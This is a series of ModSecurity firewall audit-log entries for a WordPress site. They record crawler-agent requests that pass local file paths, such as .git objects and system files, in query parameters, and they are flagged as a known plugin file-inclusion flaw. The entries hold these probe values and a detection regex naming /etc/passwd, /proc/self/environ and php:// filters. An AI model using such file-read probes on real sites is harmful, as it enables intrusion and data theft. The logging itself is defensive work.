(Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/lib/locale/gez_ER/LC_TELEPHONE||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":269,"p2":5580,"p3":0,"p4":0,"p5":359,"sr":134,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:21:08.758787 +0100","transaction_id":"abNYdH6c0W8rkQnlo8I5vwAAAcE","remote_address":"57.141.20.28","remote_port":41130,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f4/23092e92d05474a8cfb8bb4fa969f044f5fd7f HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.28","X-Forwarded-Proto":"https","X-Request-Id":"035bd4b9c226e7aa9ea5faf8289a021d","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30999269"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"035bd4b9c226e7aa9ea5faf8289a021d","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f4/23092e92d05474a8cfb8bb4fa969f044f5fd7f||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":387,"p2":5881,"p3":0,"p4":0,"p5":372,"sr":137,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:21:15.642185 +0100","transaction_id":"abNYe36c0W8rkQnlo8I51AAAAcE","remote_address":"57.141.20.35","remote_port":41130,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f5/ac19f56eaf0c9aed5beb5cc3701b32d6391e21 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.35","X-Forwarded-Proto":"https","X-Request-Id":"b73ec8041b036267ae3948b85d0c2179","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30512391"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"b73ec8041b036267ae3948b85d0c2179","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?rename=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/f5/ac19f56eaf0c9aed5beb5cc3701b32d6391e21||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":321,"p2":7157,"p3":0,"p4":0,"p5":376,"sr":162,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:21:17.859348 +0100","transaction_id":"abNYffGByT275eeM2ZkxnAAAAQY","remote_address":"57.141.20.13","remote_port":39784,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/85/a54e5a7f345a95e918b3237bc24e4ef89785ae HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.13","X-Forwarded-Proto":"https","X-Request-Id":"cdc7eda55573e3fdfe7c90c50ef791ee","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"32080489"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"cdc7eda55573e3fdfe7c90c50ef791ee","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/85/a54e5a7f345a95e918b3237bc24e4ef89785ae||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":360,"p2":7300,"p3":0,"p4":0,"p5":381,"sr":162,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:21:30.403483 +0100","transaction_id":"abNYighXxndD9xDx47xEfwAAAEA","remote_address":"57.141.20.25","remote_port":43020,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/opt/php8.2/include/php/Zend/zend_string.h HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.25","X-Forwarded-Proto":"https","X-Request-Id":"14b0a7fbf58f880e516ceca0a0bb1765","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27856012"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"14b0a7fbf58f880e516ceca0a0bb1765","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.2/include/php/Zend/zend_string.h||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":296,"p2":5772,"p3":0,"p4":0,"p5":284,"sr":147,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:21:34.188259 +0100","transaction_id":"abNYjX6c0W8rkQnlo8I59QAAAcw","remote_address":"57.141.20.10","remote_port":39818,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e0/79772aaa9c7a8afbf0173405da77b26ff4ac4c HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.10","X-Forwarded-Proto":"https","X-Request-Id":"8e1642817566be6505fa0859eb8a07a6","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"27856042"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"8e1642817566be6505fa0859eb8a07a6","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/e0/79772aaa9c7a8afbf0173405da77b26ff4ac4c||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":362,"p2":6956,"p3":0,"p4":0,"p5":867,"sr":141,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:21:39.442250 +0100","transaction_id":"abNYkvGYjQkrq8Uo_Ez7pAAAAI8","remote_address":"57.141.20.26","remote_port":55214,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/13/480d4ba29fda34d67123be2f59869eca36f8c8 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.26","X-Forwarded-Proto":"https","X-Request-Id":"f4fd37b73c8c8f376c883bbcb5f006d9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25663253"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"f4fd37b73c8c8f376c883bbcb5f006d9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/organic-products/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/13/480d4ba29fda34d67123be2f59869eca36f8c8||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":308,"p2":11642,"p3":0,"p4":0,"p5":1223,"sr":1774,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:21:44.824896 +0100","transaction_id":"abNYmFWNXJO_mmQISINBoAAAAVc","remote_address":"57.141.20.11","remote_port":39800,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?edit=/htdocs/sivaco/node_modules/laravel-mix/node_modules/webpack-cli/bin/.eslintrc.js HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.11","X-Forwarded-Proto":"https","X-Request-Id":"414d22935daa5c786e9a063d01c72d12","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"30382119"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"414d22935daa5c786e9a063d01c72d12","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/organic-products/\"] [unique_id \"abNYmFWNXJO_mmQISINBoAAAAVc\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/bin/\" at QUERY_STRING."},"stopwatch":{"p1":208,"p2":4335,"p3":0,"p4":0,"p5":322,"sr":124,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:21:50.812208 +0100","transaction_id":"abNYnvGYjQkrq8Uo_Ez7xQAAAIU","remote_address":"57.141.20.25","remote_port":39810,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?view=/sftproot/htdocs/jmknew.jmkconsulting-ci.com/gdata/vendor/bin/patch-type-declarations HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.25","X-Forwarded-Proto":"https","X-Request-Id":"6932c43af44c562487b52b2675969de7","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29723975"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"6932c43af44c562487b52b2675969de7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/dairy-products/\"] [unique_id \"abNYnvGYjQkrq8Uo_Ez7xQAAAIU\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/bin/\" at QUERY_STRING."},"stopwatch":{"p1":292,"p2":4166,"p3":0,"p4":0,"p5":277,"sr":127,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:22:05.931294 +0100","transaction_id":"abNYrKNDElJSaUY9M9GdGgAAAM4","remote_address":"57.141.20.4","remote_port":57966,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/terminfo/z/zt-1 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.4","X-Forwarded-Proto":"https","X-Request-Id":"d75c271024206e6fa7400b19b9289263","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"29659311"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"d75c271024206e6fa7400b19b9289263","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/z/zt-1||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":356,"p2":10344,"p3":0,"p4":0,"p5":397,"sr":152,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:22:16.798285 +0100","transaction_id":"abNYuAhXxndD9xDx47xFBQAAAEA","remote_address":"57.141.20.3","remote_port":43020,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/cookie-notice/cookie-notice.2.2.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"1d823a5f20feeda729f71f15693a3c6e","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"25663286"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1d823a5f20feeda729f71f15693a3c6e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/cookie-notice/cookie-notice.2.2.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":303,"p2":8529,"p3":0,"p4":0,"p5":435,"sr":175,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:22:17.704374 +0100","transaction_id":"abNYuQPfUmAczd2QoGW7YwAAABI","remote_address":"57.141.20.18","remote_port":33376,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/is/LC_MESSAGES/nano.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.18","X-Forwarded-Proto":"https","X-Request-Id":"0246b294f6e02fe0ccdf183bdcfa50c0","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"31227968"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"0246b294f6e02fe0ccdf183bdcfa50c0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/is/LC_MESSAGES/nano.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":390,"p2":21381,"p3":0,"p4":0,"p5":545,"sr":160,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:01:22:19.709314 +0100","transaction_id":"abNYuvGByT275eeM2Zkx4AAAAQY","remote_address":"57.141.20.23","remote_port":39784,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/apps/tfm2/include/search.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.23","X-Forwarded-Proto":"https","X-Request-Id":"fe4aedf41c3f60ad354f56c89e70f72c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2317216"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"fe4aedf41c3f60ad354f56c89e70f72c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/apps/tfm2/include/search.php||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":367,"p2":8086,"p3":0,"p4":0,"p5":528,"sr":167,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
